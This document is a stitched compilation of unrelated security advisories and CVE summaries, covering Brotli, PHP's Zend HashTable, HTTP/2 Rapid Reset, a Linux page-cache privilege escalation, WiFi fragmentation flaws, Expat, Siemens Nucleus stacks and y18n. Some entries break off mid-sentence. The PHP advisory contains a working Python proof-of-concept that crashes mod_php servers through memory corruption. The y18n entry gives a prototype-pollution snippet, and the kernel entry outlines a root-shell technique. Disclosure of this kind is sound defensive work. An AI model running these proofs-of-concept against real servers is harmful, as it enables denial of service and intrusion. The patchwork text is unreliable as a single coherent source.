A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.

PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)

Affected component: Zend/zendhash.c, raw-string insertion APIs

Summary

PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.

Details

Affected versions and introduction

The unsafe optimization was introduced by php-src commit:

text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions

The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.

- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.

The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.

Vulnerability root versus triggering fatal

The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.

Three conditions are distinct:

1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.

An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.

The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.

Technical root cause

The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:

c ZENDHASHIFFULLDORESIZE(ht);

addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;

p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /

zendstringinit() can raise a memory-limit fatal and never return. At that point:

- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.

This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:

c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;

do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);

Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.

Affected APIs

Affected missing-nonnumeric-key paths include:

- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.

zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.

Generic request-variable entry point

Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:

c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }

The resulting path is:

text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()

The following distinction is load-bearing:

text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window

One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.

At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.

SAPI and lifetime boundaries

Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:

c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();

if (!parentreq) { phpapacherequestdtor(r); }

This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.

FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.

PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.

Recommended fix

Restore transactional ordering by allocating the key before publishing the new Bucket:

diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;

Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.

Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.

PoC

The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:

php <?php echo "hi\n";

Run this Python client:

python import socket, struct from urllib.parse import quotefrombytes

host, port, target = "127.0.0.1", 80, "/index.php"

def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""

warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")

fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]

prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")

The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.

Impact

Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.

GHSA - https://github.com/php/php-src/security/advisories/GHSA-h37m-fxqh-w76h

Found a crash while investigating https://github.com/php/php-src/security/advisories/GHSA-626f-5vcj-8h2p.

An OOM at the wrong time can leave zendarray s in a corrupted state, and cause a zvalptrdtor() on uninitialized memory during shutdown. This seems critical as this can be triggered during input parsing.

Details

zendhashstraddorupdatei() updates ht->nNumUsed before initializing the bucket, and then allocates a zendstring for the key with zendstringinit() . If zendstringinit() OOMs, the zendarray is left with one uninitialized bucket.

idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; p->key = key = zendstringinit(str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

During shutdown, izvalptrdtor() is called on the uninitialized bucket, which might contain data from user inputs

HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.

Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.

The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.

The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.

In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.

Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.

swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.

swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.

Fragnesia is a universal Linux local privilege escalation exploit, discovered by William Bowling with the V12 team. Fragnesia is a member of the Dirty Frag vulnerability class. This is a separate bug in the ESP/XFRM from dirtyfrag which has received its own patch. However, it is in the same surface and the mitigation is the same as for dirtyfrag.

It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to achieve arbitrary byte writes into the kernel page cache of read-only files, without requiring any race condition.

The technique extends the page-cache write bug class that includes Dirty Pipe: when a TCP socket transitions to espintcp ULP mode after data has already been spliced from a file into the receive queue, the kernel processes the queued file pages as ESP ciphertext. The AES-GCM keystream byte at counter block position 2, byte 0 is XORed directly into the cached file page. By selecting the IV nonce to produce a desired keystream byte, any target byte in the file can be set to any value — one byte per trigger invocation.

The exploit builds a 256-entry lookup table mapping each possible keystream byte to its corresponding nonce, then iterates over a payload, firing the splice/ULP race for each byte that needs changing. It writes a small position-independent ELF stub (setresuid/setresgid/execve /bin/sh) over the first 192 bytes of /usr/bin/su in the page cache, then calls execve("/usr/bin/su") to obtain a root shell. The page cache modification is not backed to disk; the on-disk binary is untouched.

A vulnerability was found in Linux kernel, where the WiFi implementation reassemble fragments with non-consecutive packet numbers. An adversary can abuse this to exfiltrate selected fragments. This vulnerability is exploitable when another device sends fragmented frames and the WEP, CCMP, or GCMP data-confidentiality protocol is used. Note that WEP is vulnerable to this attack by design.

crypto: algifaead - Revert to operating out-of-place

In SQLite before 3.32.3 select.c mishandles query-flattener optimization leading to a multiSelectOrderBy heap overflow because of misuse of transitive properties for constant propagation.

HID: core: zero-initialize the report buffer

In the Linux kernel, the following vulnerability has been resolved:

tls: fix handling of zero-length records on the rxlist

Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record

If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rxlist. Next recvmsg() will pick it up from there.

Queuing the skb to rxlist after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length).

Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rxlist, and it's zero length.

A flaw in ICMP packets in the Linux kernel may allow an attacker to quickly scan open UDP ports. This flaw allows an off-path remote attacker to effectively bypass source port UDP randomization. Software that relies on UDP source port randomization are indirectly affected as well on the Linux Based Products (RUGGEDCOM RM1224: All versions between v5.0 and v6.4, SCALANCE M-800: All versions between v5.0 and v6.4, SCALANCE S615: All versions between v5.0 and v6.4, SCALANCE SC-600: All versions prior to v2.1.3, SCALANCE W1750D: v8.3.0.1, v8.6.0, and v8.7.0, SIMATIC Cloud Connect 7: All versions, SIMATIC MV500 Family: All versions, SIMATIC NET CP 1243-1 (incl. SIPLUS variants): Versions 3.1.39 and later, SIMATIC NET CP 1243-7 LTE EU: Version

A flaw was found in ath10khttrxprocrxfragindhl in drivers/net/wireless/ath/ath10k/httrx.c in the Linux kernel WiFi implementations, where it accepts a second (or subsequent) broadcast fragments even when sent in plaintext and then process them as full unfragmented frames. The highest threat from this vulnerability is to integrity.

A flaw was found in the Linux kernels wifi implementation. An attacker within wireless broadcast range can inject custom data into the wireless communication circumventing checks on the data. This can cause the frame to pass checks and be considered a valid frame of a different type.

(from https://nvd.nist.gov/vuln/detail/CVE-2022-25314) In Expat (aka libexpat) before 2.4.5, there is an integer overflow in copyString.

In copyString of xmlparse.c, there is a possible memory corruption due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

A flaw was found in expat. The vulnerability occurs due to large content in element type declarations when there is an element declaration handler present which leads to an integer overflow. This flaw allows an attacker to inject an unsigned integer, leading to a crash or a denial of service.

A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copypagetoiterpipe and pushpipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.

A null pointer dereference flaw was found in openssl. A remote attacker, able to control the arguments of the GENERALNAMEcmp function, could cause the application, compiled with openssl to crash resulting in a denial of service. The highest threat from this vulnerability is to system availability.

Expat (aka libexpat) before 2.4.4 has a signed integer overflow in XMLGetBuffer, for configurations with a nonzero XMLCONTEXTBYTES.

addBinding in xmlparse.c in Expat (aka libexpat) before 2.4.3 has an integer overflow.

A vulnerability was found in Linux Kernel's Wi-Fi implementation. An attacker within wireless range can inject a control packet fragment where the kernel does not verify the Message Integrity Check (authenticity) of fragmented TKIP frames.

Upstream patch: https://lore.kernel.org/linux-wireless/20210511180259.159598-1-johannes@sipsolutions.net/ https://lore.kernel.org/linux-wireless/20210511200110.c3f1d42c6746.I795593fcaae941c471425b8c7d5f7bb185d29142@changeid/

In resetAccumulator of select.c, there is a possible use after free. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.

Heap-based buffer overflow in dnsmasq before 2.78 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a crafted DNS response.

A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.4), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.19), APOGEE PXC Modular (BACnet) (All versions < V3.5.4), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.19), Capital VSTAR (All versions with enabled Ethernet options), Desigo PXC00-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC00-U (All versions >= V2.3 and < V6.30.016), Desigo PXC001-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC100-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC12-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC128-U (All versions >= V2.3 and < V6.30.016), Desigo PXC200-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC36.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC50-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC64-U (All versions >= V2.3 and < V6.30.016), Desigo PXM20-E (All versions >= V2.3 and < V6.30.016), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions < V2017.02.4), Nucleus ReadyStart V4 (All versions < V4.1.1), Nucleus Source Code (All versions), PLUSCONTROL 1st Gen (All versions), SIMOTICS CONNECT 400 (All versions < V0.5.0.0), TALON TC Compact (BACnet) (All versions < V3.5.4), TALON TC Modular (BACnet) (All versions < V3.5.4). The total length of an ICMP payload (set in the IP header) is unchecked. This may lead to various side effects, including Information Leak and Denial-of-Service conditions, depending on the network buffer organization in memory. (FSMD-2021-0007)

A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.4), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.19), APOGEE PXC Modular (BACnet) (All versions < V3.5.4), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.19), Capital VSTAR (All versions with enabled Ethernet options), Desigo PXC00-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC00-U (All versions >= V2.3 and < V6.30.016), Desigo PXC001-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC100-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC12-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC128-U (All versions >= V2.3 and < V6.30.016), Desigo PXC200-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC36.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC50-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC64-U (All versions >= V2.3 and < V6.30.016), Desigo PXM20-E (All versions >= V2.3 and < V6.30.016), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions < V2017.02.4), Nucleus Source Code (All versions), PLUSCONTROL 1st Gen (All versions), SIMOTICS CONNECT 400 (All versions < V0.5.0.0), TALON TC Compact (BACnet) (All versions < V3.5.4), TALON TC Modular (BACnet) (All versions < V3.5.4). Malformed TCP packets with a corrupted SACK option leads to Information Leaks and Denial-of-Service conditions. (FSMD-2021-0015)

A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.4), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.19), APOGEE PXC Modular (BACnet) (All versions < V3.5.4), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.19), Capital VSTAR (All versions with enabled Ethernet options), Desigo PXC00-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC00-U (All versions >= V2.3 and < V6.30.016), Desigo PXC001-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC100-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC12-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC128-U (All versions >= V2.3 and < V6.30.016), Desigo PXC200-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC36.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC50-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC64-U (All versions >= V2.3 and < V6.30.016), Desigo PXM20-E (All versions >= V2.3 and < V6.30.016), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions < V2017.02.4), Nucleus Source Code (All versions), PLUSCONTROL 1st Gen (All versions), TALON TC Compact (BACnet) (All versions < V3.5.4), TALON TC Modular (BACnet) (All versions < V3.5.4). The total length of an UDP payload (set in the IP header) is unchecked. This may lead to various side effects, including Information Leak and Denial-of-Service conditions, depending on a user-defined applications that runs on top of the UDP protocol. (FSMD-2021-0006)

A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.4), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.19), APOGEE PXC Modular (BACnet) (All versions < V3.5.4), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.19), Capital VSTAR (All versions with enabled Ethernet options), Desigo PXC00-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC00-U (All versions >= V2.3 and < V6.30.016), Desigo PXC001-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC100-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC12-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC128-U (All versions >= V2.3 and < V6.30.016), Desigo PXC200-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC36.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC50-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC64-U (All versions >= V2.3 and < V6.30.016), Desigo PXM20-E (All versions >= V2.3 and < V6.30.016), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions < V2017.02.4), Nucleus ReadyStart V4 (All versions < V4.1.1), Nucleus Source Code (All versions), PLUSCONTROL 1st Gen (All versions), SIMOTICS CONNECT 400 (All versions < V0.5.0.0), TALON TC Compact (BACnet) (All versions < V3.5.4), TALON TC Modular (BACnet) (All versions < V3.5.4). The total length of an TCP payload (set in the IP header) is unchecked. This may lead to various side effects, including Information Leak and Denial-of-Service conditions, depending on the network buffer organization in memory. (FSMD-2021-0017)

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

js const y18n = require('y18n')();

y18n.setLocale('proto'); y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

A vulnerability was found in Linux kernel, where the WiFi implementations assemble fragments even though some of them were sent in plaintext. This vulnerability can be abused to inject packets and/or exfiltrate selected fragments when another device sends fragmented frames and the WEP, CCMP, or GCMP data-confidentiality protocol is used.

A vulnerability was found in Linux Kernel. Where the Wifi implementations accept plaintext frames in a protected Wi-Fi network. An adversary can abuse this to inject arbitrary data frames independent of the network configuration.

Upstream patch: https://lore.kernel.org/linux-wireless/20210511180259.159598-1-johannes@sipsolutions.net/

drm/amd/display: Fix index out of bounds in degamma hardware format translation